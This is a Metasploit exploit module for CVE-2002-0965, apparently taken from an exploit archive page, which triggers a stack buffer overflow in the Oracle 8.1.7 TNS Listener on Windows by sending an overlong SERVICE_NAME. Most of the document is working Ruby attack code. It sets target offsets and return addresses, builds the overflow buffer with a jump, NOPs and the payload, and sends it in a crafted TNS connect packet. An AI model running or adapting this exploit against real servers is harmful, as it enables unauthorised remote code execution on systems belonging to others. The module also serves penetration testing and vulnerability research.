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Oracle TNS Listener SERVICE_NAME Buffer Overflow.

Oracle TNS Listener SERVICE_NAME Buffer Overflow.
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Oracle. When sending a specially crafted packet containing a long SERVICE_NAME to the TNS service, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
advisories | CVE-2002-0965
SHA-256 | 28c8be5d7891ca4dd147035f65456137de113fb86687ac79a0847f8fbe8905f4

Oracle TNS Listener SERVICE_NAME Buffer Overflow.

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::TNS

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle TNS Listener SERVICE_NAME Buffer Overflow.',
'Description' => %q{
This module exploits a stack overflow in Oracle. When
sending a specially crafted packet containing a long SERVICE_NAME
to the TNS service, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2002-0965'],
[ 'OSVDB', '5041'],
[ 'BID', '4845'],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/02-0013.shtml' ],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 27 2002'))

register_options([Opt::RPORT(1521)], self.class)

end

def check
connect

version = "(CONNECT_DATA=(COMMAND=VERSION))"

pkt = tns_packet(version)

sock.put(pkt)

sock.get_once

res = sock.get_once(-1, 1)

disconnect

if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connect

buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)

sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"

pkt = tns_packet(sploit)

print_status("Trying target #{target.name}...")
sock.put(pkt)

handler

disconnect
end

end
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